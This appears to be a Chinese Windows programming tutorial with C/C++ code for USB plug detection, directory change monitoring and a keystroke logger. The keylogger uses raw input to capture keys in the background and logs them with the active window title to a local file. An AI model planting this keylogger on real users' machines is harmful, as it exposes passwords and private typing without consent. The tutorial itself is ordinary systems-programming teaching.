描述
- 利用
WM_DEVICECHANGE
消息,进行u盘插拔监控
- 利用
ReadDirectoryChangesW
函数,进行文件监控
- 利用hook原始输入设备,进行按键监控记录
u盘监控
DialogBoxParam
:在显示对话框前,将消息作为参数传递给窗口过程ProgMainDlg
,可以用其来处理消息循环和消息回调
- 在窗口过程中捕获
WM_DEVICECHANGE
消息,判断设备插拔情况,并弹窗提示
#include "resource.h"
#include <Windows.h>
#include <Dbt.h>
LRESULT OnDeviceChange(WPARAM wParam, LPARAM lParam)
{
switch (wParam)
{
case DBT_DEVICEARRIVAL:
{
PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;
if (DBT_DEVTYP_VOLUME == lpdb->dbch_devicetype)
{
PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
DWORD dwDriverMask = lpdbv->dbcv_unitmask;
DWORD dwTemp = 1;
char szDriver[4] = "A:\\";
for (szDriver[0] = 'A'; szDriver[0] <= 'Z'; szDriver[0]++)
{
if (0 < (dwTemp & dwDriverMask))
{
::MessageBox(NULL, szDriver, "设备已插入", MB_OK);
}
dwTemp = (dwTemp << 1);
}
}
break;
}
case DBT_DEVICEREMOVECOMPLETE:
{
PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;
if (DBT_DEVTYP_VOLUME == lpdb->dbch_devicetype)
{
PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
DWORD dwDriverMask = lpdbv->dbcv_unitmask;
DWORD dwTemp = 1;
char szDriver[4] = "A:\\";
for (szDriver[0] = 'A'; szDriver[0] <= 'Z'; szDriver[0]++)
{
if (0 < (dwTemp & dwDriverMask))
{
::MessageBox(NULL, szDriver, "设备已移除", MB_OK);
}
dwTemp = (dwTemp << 1);
}
}
break;
}
default:
break;
}
return 0;
}
BOOL CALLBACK ProgMainDlg(HWND hWnd, UINT uiMsg, WPARAM wParam, LPARAM lParam)
{
if (WM_DEVICECHANGE == uiMsg)
{
OnDeviceChange(wParam, lParam);
}
else if (WM_CLOSE == uiMsg)
{
::EndDialog(hWnd, NULL);
}
return FALSE;
}
int WINAPI WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevinstance,
LPSTR lpCmdLine,
int nCmdShow)
{
::DialogBoxParam(hInstance, (LPCSTR)IDD_DIALOG1, NULL, (DLGPROC)ProgMainDlg, NULL);
::ExitProcess(NULL);
return 0;
}
按键记录
- 利用原始输入模型,直接从输入设备上获取数据,并记录按键信息,更加强大有效
注册原始输入设备
BOOL Init(HWND hWnd)
{
RAWINPUTDEVICE rawinputDevice = { 0 };
rawinputDevice.usUsagePage = 0x01;
rawinputDevice.usUsage = 0x06;
rawinputDevice.dwFlags = RIDEV_INPUTSINK;
rawinputDevice.hwndTarget = hWnd;
BOOL bRet = ::RegisterRawInputDevices(&rawinputDevice, 1, sizeof(rawinputDevice));
if (FALSE == bRet)
{
ShowError("RegisterRawInputDevices");
return FALSE;
}
return TRUE;
}
获取原始输入数据
BOOL GetData(LPARAM lParam)
{
RAWINPUT rawinputData = { 0 };
UINT uiSize = sizeof(rawinputData);
::GetRawInputData((HRAWINPUT)lParam, RID_INPUT, &rawinputData, &uiSize, sizeof(RAWINPUTHEADER));
if (RIM_TYPEKEYBOARD == rawinputData.header.dwType)
{
if ((WM_KEYDOWN == rawinputData.data.keyboard.Message) ||
(WM_SYSKEYDOWN == rawinputData.data.keyboard.Message))
{
SaveKey(rawinputData.data.keyboard.VKey);
}
}
return TRUE;
}
保存按键信息
void SaveKey(USHORT usVKey)
{
char szKey[MAX_PATH] = { 0 };
char szTitle[MAX_PATH] = { 0 };
char szText[MAX_PATH] = { 0 };
FILE *fp = NULL;
HWND hForegroundWnd = ::GetForegroundWindow();
::GetWindowText(hForegroundWnd, szTitle, 256);
::lstrcpy(szKey, GetKeyName(usVKey));
::wsprintf(szText, "[%s] %s\r\n", szTitle, szKey);
::fopen_s(&fp, "keylog.txt", "a+");
if (NULL == fp)
{
ShowError("fopen_s");
return;
}
::fwrite(szText, (1 + ::lstrlen(szText)), 1, fp);
::fclose(fp);
}
外层调用
#include "resource.h"
#include "RawInputTest.h"
BOOL CALLBACK ProgMainDlg(HWND hWnd, UINT uiMsg, WPARAM wParam, LPARAM lParam)
{
if (WM_INITDIALOG == uiMsg)
{
Init(hWnd);
}
else if (WM_CLOSE == uiMsg)
{
::EndDialog(hWnd, NULL);
}
else if (WM_INPUT == uiMsg)
{
GetData(lParam);
}
return FALSE;
}
int WINAPI WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevinstance,
LPSTR lpCmdLine,
int nCmdShow)
{
::DialogBoxParam(hInstance, (LPCSTR)IDD_DIALOG1, NULL, (DLGPROC)ProgMainDlg, NULL);
::ExitProcess(NULL);
return 0;
}
文件监控
- 监控指定目录下,是否由新增文件
ReadDirectoryChangesW
用来设置监控过滤条件并阻塞,直到有满足监控过滤条件的操作,函数才会返回监控数据继续往下执行
- 为了解决主线程阻塞的问题,可以创建一个文件监控子线程
#include "stdafx.h"
#include "MonitorFile.h"
void ShowError(char *pszText)
{
char szErr[MAX_PATH] = { 0 };
::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szErr, "ERROR", MB_OK | MB_ICONERROR);
}
void W2C(wchar_t *pwszSrc, int iSrcLen, char *pszDest, int iDestLen)
{
::RtlZeroMemory(pszDest, iDestLen);
::WideCharToMultiByte(CP_ACP,
0,
pwszSrc,
(iSrcLen / 2),
pszDest,
iDestLen,
NULL,
NULL);
}
UINT MonitorFileThreadProc(LPVOID lpVoid)
{
char *pszDirectory = (char *)lpVoid;
HANDLE hDirectory = ::CreateFile(pszDirectory, FILE_LIST_DIRECTORY,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS, NULL);
if (INVALID_HANDLE_VALUE == hDirectory)
{
ShowError("CreateFile");
return 1;
}
char szTemp[MAX_PATH] = { 0 };
BOOL bRet = FALSE;
DWORD dwRet = 0;
DWORD dwBufferSize = 2048;
BYTE *pBuf = new BYTE[dwBufferSize];
if (NULL == pBuf)
{
ShowError("new");
return 2;
}
FILE_NOTIFY_INFORMATION *pFileNotifyInfo = (FILE_NOTIFY_INFORMATION *)pBuf;
do
{
::RtlZeroMemory(pFileNotifyInfo, dwBufferSize);
bRet = ::ReadDirectoryChangesW(hDirectory,
pFileNotifyInfo,
dwBufferSize,
TRUE,
FILE_NOTIFY_CHANGE_FILE_NAME |
FILE_NOTIFY_CHANGE_ATTRIBUTES |
FILE_NOTIFY_CHANGE_LAST_WRITE,
&dwRet,
NULL,
NULL);
if (FALSE == bRet)
{
ShowError("ReadDirectoryChangesW");
break;
}
W2C((wchar_t *)(&pFileNotifyInfo->FileName), pFileNotifyInfo->FileNameLength, szTemp, MAX_PATH);
switch (pFileNotifyInfo->Action)
{
case FILE_ACTION_ADDED:
{
printf("[File Added Action]%s\n", szTemp);
break;
}
default:
{
break;
}
}
} while (bRet);
::CloseHandle(hDirectory);
delete[] pBuf;
pBuf = NULL;
return 0;
}
void MonitorFile(char *pszDirectory)
{
::CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorFileThreadProc, pszDirectory, 0, NULL);
}
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?
· Pantheons:用 TypeScript 打造主流大模型对话的一站式集成库